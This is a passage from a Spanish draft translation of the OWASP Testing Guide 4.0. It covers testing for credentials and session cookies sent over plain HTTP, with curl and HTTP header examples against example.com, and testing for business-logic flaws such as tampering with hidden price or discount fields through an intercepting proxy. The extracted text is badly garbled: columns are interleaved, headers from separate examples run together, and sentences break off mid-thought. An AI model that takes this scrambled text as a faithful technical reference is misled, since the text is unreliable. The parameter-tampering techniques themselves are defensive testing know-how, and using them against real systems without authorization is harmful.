• Errores de decodificación o similares son posibles padding oracles. Pruebas para el envío de información sensible por canales sin encriptar (OTG-CRYPST-003) Resultados esperados: Resumen Una implementación de seguridad revisará la integridad y causará sólo dos respuestas: ok y failed. No hay ningún canal lateral que se pueda utilizar para determinar el estado de los errores internos.

Pruebas de Caja Negra

Los datos sensibles deben ser protegidos al transmitirse a través de la red. Si los datos se transmiten a través de HTTPS o cifrados de alguna otra manera, el mecanismo de protección no debe tener limitaciones o vulnerabilidades, como se explica en el artículo más amplio. Pruebas de codificadores SSL/TLS débiles, protección de transporte de capas insuficiente (OTG-CRYPST-001) [1] y en otra documentación OWASP [2], [3], [4], [5].

Prueba para determinar las vulnerabilidades de padding oracle: Verifique que todos los lugares donde están codificados los datos del cliente, que sólo deben ser conocido por el servidor, se encuentran decodificados. Dicho código debe cumplir las siguientes condiciones:

Como regla general, si los datos deben protegerse cuando se almacenan, estos datos también deben protegerse durante la transmisión. Algunos ejemplos de datos sensibles son:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 273

Guia de pruebas 4.0 "Borrador"

• Información utilizada en la autenticación (por ejemplo credenciales, PINs, identificadores de sesión, Fichas, Cookies…)

401 Authorization Required

Invalid login credentials!

• Información protegida por leyes, regulaciones o políticas organizacionales específicas (por ejemplo, tarjetas de credito, datos del cliente ). Ejemplo 2: Autenticación basada en formularios mediante HTTP

Si la aplicación transmite información sensible a través de canales sin codificar - por ejemplo, HTTP - se considera un riesgo de seguridad. Algunos ejemplos son de autenticación básica que envía credenciales de autenticación en texto simple mediante HTTP, credenciales de autenticación basadas en formularios enviados mediante HTTP, o la transmisión de texto simple o cualquier otra información considerada sensible de acuerdo a normas, leyes, política organizacional o lógica de la aplicación del negocio.

Otro ejemplo típico son los formularios de autenticación que transmiten credenciales de autenticación del usuario mediante HTTP. En el siguiente ejemplo puede ver en HTTP el uso del atributo "action" del formulario. También es posible ver este tema examinando el tráfico HTTP con un proxy de intercepción.

User: id=”username” name=”username” value=””/>


Cómo probar Diversos tipos de información que deben ser protegidos podrían transmitirse mediante la aplicación en texto claro. Es posible verificar si esta información se transmite a través de HTTP en lugar de HTTPS, o si se utilizan cifrados débiles. Para mayor información acerca de la transmisión insegura de credenciales, vea el Top 10 2013-A6-Sensitive Data Exposure [3] o protección insuficiente de la capa de transporte en general Top 10 2010-A9-Insufficient Transport Layer Protection [2].


Password: type=”password” id=”password” name=”password” value=””/>

type=”text”




Ejemplo 3: Cookie que contiene un identificador de sesión enviado por HTTP Ejemplo 1: Autenticación básica en HTTP Un ejemplo típico es el uso de una autenticación básica en HTTP. Cuando se utiliza una autenticación básica, se codifican las credenciales de usuario en lugar de encriptarlas y se envían como encabezados HTTP. En el ejemplo siguiente, el evaluador usa curl [5] para evaluar este tema. Note cómo la aplicación utiliza la autenticación básica y HTTP en lugar de HTTPS

La Cookie del identificador de sesión debe ser transmitida en canales protegidos. Si la cookie no tiene la bandera de seguridad [6] se permite a la aplicación transmitirla sin encriptar. Note a continuación que la programación de la cookie se realiza sin la bandera de seguridad, y todo el proceso de registro se realiza en HTTP y no HTTPS..

curl -kis http://example.com/restricted/ https://secure.example.com/login HTTP/1.1 401 Authorization Required Date: Fri, 01 Aug 2013 00:00:00 GMT WWW-Authenticate: Basic realm=”Restricted Area”

POST /login HTTP/1.1 Host: secure.example.com

Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 162

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0

Content-Type: text/html

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 274

Guia de pruebas 4.0 "Borrador"

Accept-Encoding: gzip, deflate

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Referer: https://secure.example.com/

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

Content-Length: 188

Referer: https://secure.example.com/login Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA;

HTTP/1.1 302 Found

Connection: keep-alive

Date: Tue, 03 Dec 2013 21:18:55 GMT Server: Apache

HTTP/1.1 200 OK

Cache-Control: no-store, no-cache, must-revalidate, max-age=0

Cache-Control: no-store

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Pragma: no-cache

Pragma: no-cache

Expires: 0

Set-Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA; expires=Fri, 01-Jan-2014 00:00:00 GMT; path=/; domain=example.com; httponly

Content-Type: text/html;charset=UTF-8

Location: private/

Date: Tue, 25 Dec 2013 00:00:00 GMT

X-Content-Type-Options: nosniff

----------------------------------------------------------

Content-Length: 730

X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN

Herramientas

Content-Length: 0

• [5] curl puede ser usado para revisar cómo buscar páginas manualmente

Keep-Alive: timeout=1, max=100 Connection: Keep-Alive

Referencias

Content-Type: text/html

Recursos OWASP • [1] Guía de Pruebas OWASP - Pruebas de codificadores SSL/TLS débiles, protección de transporte de capas insuficiente (OTG-CRYPST-001)

---------------------------------------------------------http://example.com/private

GET /private HTTP/1.1

• [2] OWASP TOP 10 2010 - Insufficient Transport Layer Protection

• [3] OWASP TOP 10 2013 - Sensitive Data Exposure

Host: example.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0

• [4] OWASP ASVS v1.1 - V10 Communication Security Verification Requirements

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 275

Guia de pruebas 4.0 "Borrador"

• [6] Guía de pruebas OWASP - Pruebas de los atributos de las cookies (OTGSESS-002)

No se pueden automatizar los casos de abuso en la lógica del negocio y siguen siendo un arte manual que depende de las habilidades del evaluador y de un conocimiento completo de los procesos del negocio y sus normas.

Restricciones y límites de negocio Prueba de la lógica del negocio Resumen Para probar las fallas en la lógica del negocio en una aplicación web dinámica y multifuncional, se requiere pensar en métodos no convencionales. Si el mecanismo de autenticación de la aplicación está desarrollado con la intención de realizar los pasos 1, 2, 3, en ese orden específico para autenticar un usuario, ¿qué sucede si el usuario va del paso 1 directamente al paso 3?

Considere las reglas para la función del negocio que proporciona la aplicación. ¿Existen límites o restricciones en el comportamiento de las personas? Entonces considere si la aplicación hace cumplir esas normas. Generalmente es bastante fácil identificar los casos de prueba y análisis para verificar si la aplicación está familiarizada con el negocio.

Si usted es un evaluador externo, entonces va a tener que usar su sentido común y preguntar al negocio si las diferentes operaciones se deben permitir por parte de la aplicación. En este ejemplo simple, ¿ la aplicación da acceso al no poder abrir, niega el acceso, o solo manda un error con un mensaje 500?

Hay muchos ejemplos que se pueden dar, pero la lección constante es "pensar fuera del conocimiento común". Este tipo de vulnerabilidad no puede ser detectada por un escáner de vulnerabilidad y se basa en las habilidades y creatividad del evaluador de penetración.

A veces, en aplicaciones muy complejas, el evaluador no tendrá el conocimiento completo de cada aspecto de la aplicación inicialmente. En estas situaciones, es mejor que el cliente dirija al evaluador a través de la aplicación para poder tener una mejor comprensión de los límites y la funcionalidad prevista de la aplicación, antes de empezar la prueba real. Además, tener una línea de comunicación directa con los desarrolladores (si es posible) durante la prueba es de gran ayuda, por si aparecen preguntas con respecto a la funcionalidad de la aplicación.

Además, este tipo de vulnerabilidad suele ser una de las más difíciles de detectar y, generalmente, es específica de la aplicación, pero, al mismo tiempo, uno de los más perjudiciales para la aplicación si se explota. Descripción del problema

La clasificación de las fallas en la lógica del negocio no han sido estudiadas a fondo; aunque la explotación de las fallas de negocio suceden con frecuencia en los sistemas del mundo real, y muchos investigadores de vulnerabilidades aplicadas las investigan.

A las herramientas automatizadas les resulta difícil comprender el contexto, por lo tanto, depende de una persona el llevar a cabo este tipo de pruebas. Los siguientes dos ejemplos ilustran cómo el entender la funcionalidad de la aplicación, las intenciones del desarrollador y un pensamiento creativo "fuera de la caja" pueden romper la lógica de la aplicación.

El mayor enfoque es en aplicaciones web. Hay un debate dentro de la comunidad acerca de si estos problemas representan particularmente nuevos conceptos, o si son variantes de principios bien conocidos.

El primer ejemplo comienza con una manipulación simple del parámetro, mientras que el segundo es un ejemplo del mundo real de un proceso que conduce a subvertir completamente la aplicación.

La prueba de fallas en la lógica del negocio es similar a los tipos de prueba utilizados por evaluadores funcionales que se enfocan en la prueba de estado lógico o finito. Estos tipos de pruebas requieren que los profesionales de la seguridad piensen un poco diferente, desarrollen casos de abuso y mal uso y usen muchas de las técnicas de prueba adoptadas por los evaluadores funcionales.

Ejemplo 1: Supongamos que un sitio de comercio electrónico permite a los usuarios seleccionar elementos que desean comprar, ver una página de resumen y luego licitar la venta. ¿Qué pasaría si un atacante vuelve a la página de resumen, manteniendo la validez de la sesión e inyecta un menor costo en un elemento, completa la transacción y luego sale?

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 276

Guia de pruebas 4.0 "Borrador"

Ejemplo 2: Retener/bloquear recursos y evitar que otros puedan comprar estos artículos en línea puede resultar en que los atacantes compren artículos a bajo precio. La solución a este problema es implementar tiempos de cierre de sesión y mecanismos para asegurar que sólo el precio correcto puede ser cargado.

Esto es importante porque, sin esta protección, los atacantes pueden ser capaces de "engañar/trucar" la aplicación para que les permita entrar en secciones de la aplicación del sistema a las cuáles no deberian tener acceso en ese momento en particular, eludiendo así el flujo de trabajo de la lógica de negocio de la aplicación.

4.12.3 Prueba de comprobación de integridad (OTG-BUSLOGIC-003) Ejemplo 3: ¿Qué pasaría si un usuario pudo iniciar una transacción vinculada a su cuenta de club o lealtad y luego de agregar los puntos a su cuenta cancela la transacción? ¿Los puntos o créditos todavía pueden aplicarse a su cuenta?

Casos de prueba de la lógica del negocio Cada aplicación tiene un proceso diferente de negocio y lógica la aplicación y puede ser manipulada en un número combinaciones. Esta sección proporciona algunos ejemplos problemas de lógica de negocio, pero de ninguna manera completa de todos los temas.

específica de infinito de comunes de es una lista

Las explotaciones de la lógica del negocio pueden separarse en las siguientes categorías:

En la comprobación de integridad y prueba de evidencia de adulteración, verificamos que la aplicación no permita a los usuarios destruir la integridad o datos de cualquier parte del sistema.

Esto es importante porque, sin estas protecciones, los atacantes pueden romper el flujo de trabajo de la lógica del negocio y cambiar o poner en peligro los datos del sistema de aplicación o encubrir acciones mediante la alteración de información, incluyendo archivos de registro.

4.12.4 Prueba del tiempo de procesamiento (OTG-BUSLOGIC-004) En las pruebas del tiempo de procesamiento, verificamos que la aplicación no permita a los usuarios manipular un sistema o adivinar su comportamiento basado en los tiempos de procesamiento de entrada o salida.

4.12.1 Prueba de la validación de datos de la lógica del negocio (OTGBUSLOGIC-001) En la prueba de validación de datos de la lógica del negocio, verificamos que la aplicación no permita a los usuarios insertar datos "no validados" en el sistema o la aplicación.

Esto es importante porque, sin esta protección, los atacantes pueden insertar datos/información "no validada" en la aplicación/sistema en "puntos de entrega" donde el sistema/aplicación considera que los datos/información es "buena" y ha sido válida desde que los puntos de"entrada" realizaron la validación de datos como parte del flujo de trabajo de la lógica de negocio.

4.12.2 Prueba de la habilidad para manipular consultas (OTG-BUSLOGIC002) En las pruebas de requerimientos de parámetros predictivos y manipulados, verificamos que la aplicación no permita a los usuarios enviar o modificar los datos de cualquier componente del sistema al que ellos no deben tener acceso, que estén accediendo en ese momento o de esa manera en particular.

Esto es importante porque, sin esta protección, los atacantes pueden ser capaces de controlar el tiempo de procesamiento y determinar las salidas basados en el tiempo o eludir la lógica del negocio de la aplicación al no completar transacciones o acciones en forma oportuna.

4.12.5 Prueba del número de veces que limita el uso de una función (OTGBUSLOGIC-005) Al probar el límite de una función, verifique que la aplicación no permita a los usuarios utilizar partes de la aplicación o sus funciones, más veces de las requeridas por el flujo de la lógica de trabajo.

Esto es importante porque, sin esta protección, los atacantes pueden utilizar una función o parte de la aplicación un mayor número de veces que el permitido por la lógica de negocio para obtener beneficios adicionales.

4.12.6 Pruebas para la evasión de los flujos de trabajo (OTG-BUSLOGIC006)

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 277

Guia de pruebas 4.0 "Borrador"

Al evadir el flujo de trabajo y burlar las pruebas de secuencia correcta, verificamos que la aplicación no permite a los usuarios realizar acciones fuera del flujo de proceso de negocios "aprobado/requerido".

Esto es importante ya que, sin esta protección, los atacantes pueden ser capaces de evadir o burlar los flujos de trabajo y "controles" que les permite entrar prematuramente o saltarse las secciones de la aplicación "requerida s", y potencialmente permite que la acción/transacción termine sin completar el proceso de negocio, dejando al sistema con información de seguimiento incompleta en el backend.

Aunque existen herramientas para probar y verificar que los procesos del negocio funcionan correctamente en situaciones válidas, estas herramientas son incapaces de detectar vulnerabilidades lógicas. Por ejemplo, las herramientas no tienen posibilidad de detectar si un usuario es capaz de evitar el flujo de proceso del negocio a través de la edición de parámetros, predicción de nombres de recursos o escalada de privilegios para acceder a recursos restringidos ni tienen ningún mecanismo para ayudar a los evaluadores humanos para que sospechen de esta situación.

Los siguientes son algunos tipos comunes de herramientas que pueden ser útiles en la identificación de temas relacionados con la lógica del negocio.

HP Business Process Testing Software 4.12.7 Prueba de las defensas contra el mal uso de la aplicación (OTGBUSLOGIC-007) En las pruebas de defensas contra el mal uso de la aplicación, verificamos que la aplicación no permita a los usuarios manipular la aplicación de una manera no deseada.

• www8.hp.com

Intercepting Proxy - Para observar los bloques de solicitud y respuesta del tráfico HTTP. • OWASP ZAP: owasp.org

4.12.8 Prueba de la posibilidad de carga de tipos de archivos inesperados (OTG-BUSLOGIC-008) En la prueba de carga de tipos de archivos inesperados, verificamos que la aplicación no permita a los usuarios cargar tipos de archivos que el sistema no espera o requiera de acuerdo a la lógica del negocio.

Esto es importante ya que, sin esta protección, los atacantes pueden ser capaces de enviar archivos inesperados tales como .exe o .php que se guardan en el sistema y luego se ejecutan contra el sistema o aplicación.

4.12.9 Prueba de la posibilidad de carga de archivos maliciosos (OTGBUSLOGIC-009) Al probar la carga de archivos maliciosos, verifique que la aplicación no permita a los usuarios cargar archivos maliciosos o potencialmente dañinos al sistema y a su seguridad.

• Burp Proxy: portswigger.net • Paros Proxy: parosproxy.org

Web Browser Plug-ins - Para visualizar y modificar encabezados HTTP/HTTPS, parámetros de publicación y observar el DOM del navegador • Tamper Data (for Internet Explorer: addons.mozilla.org

• TamperIE (for Internet Explorer): bayden.com

• Firebug (for Internet Explorer): addons.mozilla.org

Herramientas de pruebas misceláneas Esto es importante ya que, sin esta protección, los atacantes pueden ser capaces de cargar archivos al sistema que pueden propagar virus, malware o incluso explotaciones como shellcode cuando se ejecutan.

• Web Developer toolbar: chrome.google.com

Herramientas

La extensión Web Developer añade un botón a la barra de herramientas en el navegador, con varias herramientas de desarrollo web. Este es el puerto oficial de la extención de Web Developer para Firefox.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 278

Guia de pruebas 4.0 "Borrador"

• HTTP Request Maker: chrome.google.com

Request Maker es una herramienta para pruebas de penetración. Con ésta usted puede capturar fácilmente solicitudes realizadas por páginas web, manipular la URL, encabezados, datos POST y, por supuesto, realizar nuevas solicitudes.

Realice solicitudes HTTP desde su navegador y navegue en la respuesta (encabezados HTTP y fuente). Envíe métodos HTTP, encabezados y cuerpo utilizando XMLHttpRequest desde su navegador y luego vea el estado HTTP, encabezados y fuente. Haga clic en los links del encabezado o cuerpo para generar nuevas solicitudes. Este plug-in da formato de respuesta XML y utiliza un resaltador de sintaxis Syntax Highlighter < http://alexgorbatchev.com/ >.

• Firebug lite for Chrome: chrome.google.com

• Cookie Editor: chrome.google.com

Edit This Cookie es un administrador de cookies. Usted puede añadir, borrar, editar, buscar, proteger y bloquear cookies

Firebug Lite no sustituye a Firebug, o las herramientas de Chrome Developer. Es una herramienta para utilizarla conjuntamente con estas otras herramientas. Firebug Lite provee la representación visualmente rica que estamos acostumbrados a ver en Firebug cuando vemos los elementos HTML, DOM, y Box Model shading. Además, provee algunas características interesantes como el inspeccionar los elementos HTML con su mouse y propiedades de edición en vivo para CSS.

• Session Manager: chrome.google.com

Referencias Libros Blancos

Con Session Manager usted puede grabar rápidamente el estado de su navegador actual y recargarlo cuando sea necesario. Puede gestionar múltiples sesiones, renombrarlas o removerlas de la biblioteca de sesión.

• Business Logic accorute.googlecode.com

Vulnerabilities

in

Web

Applications:

• The Common Misuse Scoring System (CMSS): Metrics for Cada sesión recuerda el estado del navegador en su momento de creación, es decir, las ventanas y pestañas abiertas. Una vez que se abre una sesión, el navegador se restaura a su estado original.

• Swap My Cookies: chrome.google.com

Swap My Cookies es un administrador de sesión. Gestiona sus cookies, permitiéndole conectarse en cualquier sitio web con varias cuentas diferentes.

Usted puede finalmente conectarse a Gmail, yahoo, hotmail, y prácticamente a cualquier sitio web que utilice, con todas sus cuentas; si quiere utilizar otra cuenta, ¡solo tiene que intercambiar su perfil!

Software Feature Misuse Vulnerabilities - NISTIR 7864: csrc.nist.gov

• Designing a Framework Method for Secure Business Application Logic Integrity in e-Commerce Systems, Faisal Nabi: ijns.femto.com.tw

• Finite State testing of Graphical User Interfaces, Fevzi Belli: slideshare.net

• Principles and Methods of Testing Finite State Machines - A Survey, David Lee, Mihalis Yannakakis: cse.ohio-state.edu

• Security Issues in Online Games, Jianxin Jeff Yan and Hyun-Jin Choi: homepages.cs.ncl.ac.uk • HTTP Response Browser: chrome.google.com/

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 279

Guia de pruebas 4.0 "Borrador"

• Securing Virtual Worlds Against Real Attack, Dr. Igor Muttik, McAfee: info-point-security.com • Prevent application logic attacks with sound app security practices: searchappsecurity.techtarget.com • Seven Business Logic Flaws That Put Your Website At Risk Jeremiah Grossman whitehatsec.com

Founder

and

CTO,

WhiteHat

Security:

• Real-Life Example of a ‘Business Logic Defect: infosecisland.com

• Software Testing Lifecycle: softwaretestingfundamentals.com • Toward Automated Detection of Logic Vulnerabilities in Web Applications - Viktoria Felmetsger Ludovico Cavedon Christopher Kruegel Giovanni Vigna: usenix.org • Top 10 Business Logic Attack Vectors Attacking and Exploiting Business Application Assets and Flaws – Vulnerability Detection to Fix: ntobjectives.com and ntobjectives.com • 2012 Web Session Intelligence & Security Report: Business Logic Abuse, Dr. Ponemon: emc.com Libros Relacionados a OWASP • Business Logic Attacks – Bots and Bats, Eldad Chai: blog.imperva.com

• OWASP Detail Misuse Cases: owasp.org

• The Decision Model: A Business Logic Framework Linking Business and Technology, By Barbara Von Halle, Larry Goldberg, Published by CRC Press, ISBN1420082817 (2010)

Prueba de la validación de datos de la lógica del negocio (OTGBUSLOGIC-001) Resumen

• How to Prevent Business Flaws Vulnerabilities in Web Applications, Marco Morana: slideshare.net

Sitios web útiles

La aplicación debe asegurarse que pueden introducirse lógicamente datos válidos en la sección de acceso directo, así como directamente en el lado del servidor de una aplicación del sistema. Sólo verificar los datos localmente puede dejar a las aplicaciones vulnerables a inyecciones de servidor a través de proxies o en los intercambios con otros sistemas.

• Abuse of Functionality: projects.webappsec.org

• Business logic: en.wikipedia.org

Esto es diferente a simplemente realizar un análisis de valor de límite (BVA) que es más difícil y, en la mayoría de los casos, no se puede comprobar simplemente en el punto de entrada; generalmente requiere de algún otro sistema de control.

• Business Logic Flaws and Yahoo Games: jeremiahgrossman.blogspot.com

• CWE-840: Business Logic Errors: cwe.mitre.org

Por ejemplo: una aplicación puede solicitar su número de seguro social. En BVA, la aplicación debe comprobar formatos y semántica (el valor tiene 9 dígitos de largo, no es negativo y no contiene solo 0) en los datos introducidos, pero también hay consideraciones lógicas. Los números de seguro social son agrupados y categorizados. ¿Esta persona está en un archivo de difuntos? ¿Son de una cierta parte del país?

• Defying Logic: Theory, Design, and Implementation of Complex Systems for Testing Application Logic: slideshare.net

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 280

Guia de pruebas 4.0 "Borrador"

Las vulnerabilidades relacionadas con la validación de datos son únicas, ya que son para una aplicación específica y diferente a las vulnerabilidades relacionadas con la manipulación de solicitudes en las que están más preocupadas de la lógica de los datos en lugar de simplemente romper el flujo de trabajo de la lógica del negocio.

crédito en múltiples lugares muy rápidamente, es posible superar mi límite si los sistemas están basando sus decisiones en los datos de anoche.

Cómo probar Método de prueba genérica Tanto la sección de acceso directo (front-end) como la sección de acceso restringido (back-end) de la aplicación deben verificar y validar que la información que tiene, utiliza y pasa está validada lógicamente. Incluso si el usuario provee datos válidos a la aplicación, la lógica del negocio puede hacer que la aplicación se comporte de una manera distinta, dependiendo de los datos o las circunstancias.

Ejemplos

• Revise la documentación del proyecto y utilice pruebas exploratorias en busca de puntos de entrada de datos o puntos de intercambio entre sistemas o software.

• Una vez encontrados, intente insertar datos lógicamente inválidos en el sistema o aplicación.

Ejemplo 1 Método de prueba específica: Supongamos que administra un sitio de comercio electrónico de multiples niveles. El usuario escoge la alfombra, ingresa el tamaño, realiza el pago y la aplicación de acceso directo ha verificado que toda la información ingresada es correcta y válida para el contacto, tamaño, fabricación y color de la alfombra. Sin embargo, la lógica de negocio tiene, en el fondo, dos rutas.

Si hay la alfombra en stock, se envía directamente desde su almacén. Si no hay stock en bodega, se realiza una llamada al sistema de su socio y si tienen en stock, se enviará la orden desde su bodega y será reembolsada por su empresa.

• Realizar pruebas GUI de validación funcional en la sección pública de la aplicación para asegurarse que se aceptan únicamente los valores "válidos".

• Utilizando un proxy de intercepción, observe que el POST/GET de HTTP busque lugares donde pasan variables tales como costo y cantidad. Específicamente, busque "transferencias" entre aplicaciones y sistemas que pueden ser posibles puntos de inyección de manipulación.

¿Qué pasaría si un atacante es capaz de continuar una transacción válida con stock en su bodega y la envía a su socio como que si no hubiera en stock? ¿Qué pasaría si un atacante es capaz de ingresar en el medio y envía mensajes al almacén del socio ordenando alfombras sin pagar?

•Una vez que las variables se encuentran, empiece a interrogar el campo con datos lógicamente "no validos", como números de seguro social o identificadores únicos que no existen o que no encajan en la lógica del negocio. Esta prueba verifica que el servidor funciona correctamente y no acepta datos lógicamente no válidos.

Ejemplo 2

Casos de prueba relacionados

Muchos sistemas de tarjetas de crédito ahora descargan los saldos cada noche para que los clientes puedan terminar su transacción más rápidamente cuando las cantidades están bajo un cierto valor. En sentido contrario también sería cierto.

• Todos los casos de validación de ingresos (Input Validation)

Si pago mi tarjeta de crédito por la mañana no seré capaz de usar el crédito disponible por la tarde. Otro ejemplo puede ser que si utilizo mi tarjeta de

• Pruebas de enumeración de cuentas y adivinanza de cuentas de usuario. (OTG-IDENT-004)

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 281

Guia de pruebas 4.0 "Borrador"

• Pruebas del esquema de gestión de sesión (OTG-SESS-001)

aquellas que permiten la depuración y presentación de pantallas especiales o ventanas que son muy útiles durante el desarrollo, pero pueden filtrar información o eludir la lógica del negocio.

• Pruebas para determinar la Exposición de las Variables de Sesión (OTGSESS-004)

Herramientas

Las vulnerabilidades relacionadas con la capacidad de falsificar las solicitudes son únicas para cada aplicación y diferentes en la validación de datos de la lógica del negocio, ya que su objetivo es romper el flujo de trabajo de la lógica del negocio.

• OWASP Zed Attack Proxy (ZAP): www.owasp.org/

• El Zed Attack Proxy (ZAP) es una herramienta de pruebas de penetración integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por personas con amplia experiencia en seguridad y, como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de penetración. ZAP ofrece escáneres automatizados, así como un conjunto de herramientas que permiten encontrar las vulnerabilidades de seguridad manualmente.

Referencias

Las aplicaciones deben tener controles lógicos para evitar que el sistema acepte solicitudes falsificadas que pueden permitir a los atacantes la posibilidad de explotar la lógica del negocio, proceso o flujo de la aplicación. La falsificación de solicitudes no es nueva; el atacante utiliza un proxy de intercepción para enviar solicitudes POST/GET de HTTP a la aplicación.

Mediante la falsificación de solicitudes, los atacantes pueden evadir la lógica del negocio o proceso al encontrar, predecir y manipular los parámetros para hacer que la aplicación piense que un proceso o tarea ha ocurrido o no.

Beginning Microsoft Visual Studio LightSwitch Development: books.google.com

Remediación La aplicación/sistema debe garantizar que sólo datos "lógicamente válidos" se acepten en todas las entradas y puntos de transferencia de la aplicación o sistema, y que los datos no se consideren confiables una vez que han sido ingresados en el sistema.

Prueba de la habilidad de manipular consultas (OTG-BUSLOGIC-002) Resumen Falsificar las solicitudes es un método que utilizan los atacantes para eludir la sección de acceso público de una aplicación GUI, para presentar directamente la información para que se procese en la sección de acceso restringido. El objetivo del atacante es enviar las solicitudes POST/GET de HTTP a través de un proxy de intercepción con los valores de datos no soportados, protegidos en contra o esperados por la lógica del negocio de la aplicación.

Algunos ejemplos de solicitudes falsificadas que explotan parámetros que pueden adivinarse o predecirse o que exponen funciones "ocultas" como

Además, las solicitudes falsificadas pueden permitir la subversión del flujo del programa o de la lógica del negocio invocando funciones "ocultas" o funcionalidad como la depuración, inicialmente utilizada por los desarrolladores y evaluadores, denominada a veces "Huevo de Pascua". Un "huevo de Pascua" (Easter egg) es una broma interna intencional, mensaje oculto o una función en un trabajo como un programa de computadora, película, libro o crucigrama.

Según el diseñador de juegos Warren Robinett, el término fue acuñado en Atari por el personal que fue alertado de la presencia de un mensaje secreto que había sido escondido por Robinett en su juego ya ampliamente distribuido, Adventure. Se puso este nombre para evocar la idea de una cacería tradicional de "huevos de Pascua.” http://en.wikipedia.org/wiki/Easter_egg_(media)

Ejemplos Ejemplo 1 Supongamos que un teatro en su sitio de comercio electrónico permite a los usuarios seleccionar su boleto, aplicar un descuento de tercera edad del 10% una vez en toda la venta, ver el subtotal y licitar la venta. Si un atacante es capaz de ver a través de un proxy que la aplicación cuenta con un campo oculto (de 1 o 0) usado por la lógica del negocio para determinar si ha

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 282

Guia de pruebas 4.0 "Borrador"

habido un descuento o no, el atacante podría presentar el 1 o el valor de "descuento no ha sido tomado" varias veces para aprovechar el descuento varias veces.

• Si se encuentra que algún valor es adivinable, este valor puede ser modificado y se puede obtener visibilidad inesperada. Método de prueba específica 2:.

Ejemplo 2 Supongamos que un juego de video en línea paga fichas por puntos anotados por encontrar tesoros piratas, piratas y por cada nivel completado. Estas fichas pueden intercambiarse posteriormente por premios.

Además, los puntos de cada nivel tienen un valor multiplicador igual al nivel. Si un atacante es capaz de ver a través de un proxy que la aplicación tiene un campo oculto utilizado durante el desarrollo y pruebas para llegar rápidamente a los niveles más altos del juego, podría usarlo también para llegar a los niveles más altos y acumular puntos no ganados rápidamente.

Asimismo, si un atacante es capaz de ver a través de un proxy que la aplicación tiene un campo oculto utilizado durante el desarrollo y pruebas para habilitar un registro que indica dónde se encuentran otros jugadores en línea o los tesoros escondidos en relación con el atacante, entonces podrían ir rápidamente a estos lugares y anotar puntos.

• Usando un proxy de intercepción, observe la solicitud POST/GET de HTTP en busca de indicios de funciones ocultas como la de depuración, que puede ser encendida o activada.

• Si encuentra alguna, trate de adivinar y cambiar estos valores para obtener una respuesta o comportamiento distinto de la aplicación.

Casos de prueba relacionados

Pruebas para determinar la Exposición de las Variables de Sesión (OTG SESS-004)

Pruebas de un CSRF (CSRF) (OTG-SESS-005)

Cómo probar Método de prueba genérica

Pruebas de enumeración de cuentas y adivinanza de cuentas de usuario (OTG-IDENT-004)

• Revise la documentación del proyecto y utilice pruebas exploratorias en busca de campos funcionales que pueden ser adivinados, predecibles u ocultos.

Herramientas

• Una vez encontrados, intente insertar datos lógicamente válidos en el sistema o aplicación, lo que permite al usuario ir a través de la aplicación/sistema contra el flujo normal de la lógica del negocio.

ZAP es una herramienta de pruebas de penetración integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por personas con amplia experiencia en seguridad y, como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de penetración. ZAP ofrece escáneres automatizados, así como un conjunto de herramientas que permiten encontrar las vulnerabilidades de seguridad manualmente.

Método de prueba específica 1:

• Utilizando un proxy de intercepción, observe las solicitudes POST/GET de HTTP, busque algún indicio de que los valores están incrementando en intervalos regulares o son fáciles de adivinar.

OWASP Zed Attack Proxy (ZAP): owasp.org

Referencias Cross Site Request Forgery - Legitimizing Forged Requests: fragilesecurity.blogspot.com

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 283

Guia de pruebas 4.0 "Borrador"

Easter egg: en.wikipedia.org

Top 10 Software Easter Eggs: lifehacker.com

La aplicación debe ser lo suficientemente inteligente como para comprobar las ediciones relacionales que no permitan a los usuarios enviar información sin validar directamente al servidor, sólo porque vino desde controles no editables o que el usuario no está autorizado a enviar desde la sección frontal.

Remediación La aplicación debe ser lo suficientemente inteligente y diseñada con una lógica del negocio que evite que los atacantes puedan predecir y manipular los parámetros para subvertir el flujo de programación, la lógica del negocio o explotar una funcionalidad oculta/no documentada como la depuración.

Prueba de comprobación de integridad (OTG-BUSLOGIC-003) Resumen Muchas aplicaciones están diseñadas para mostrar diferentes campos, dependiendo del usuario en cada situación y dejando algunas entradas ocultas. Sin embargo, en muchos casos es posible enviar valores de campo oculto al servidor utilizando un proxy. En estos casos, los controles del lado del servidor deben ser lo suficientemente inteligentes como para llevar a cabo ediciones relacionales o del lado del servidor para garantizar que los datos adecuados se ingresan al servidor basado en la lógica del negocio específico del usuario y la aplicación.

Además, la aplicación no debe depender de controles no editables, menús desplegables o campos ocultos para el procesamiento de la lógica del negocio porque estos campos son no-editables sólo en el contexto de los navegadores. Los usuarios pueden ser capaces de modificar sus valores usando herramientas de edición proxy y tratar de manipular la lógica de negocio.

Si la aplicación expone valores relacionados a las reglas del negocio, como cantidad, etc., como campos no editables, se debe mantener una copia en el servidor y usar el mismo para el procesamiento de la lógica del negocio. Por último, además de los datos de la aplicación/sistema, los sistemas de registro deben asegurarse para evitar la lectura, escritura y actualización.

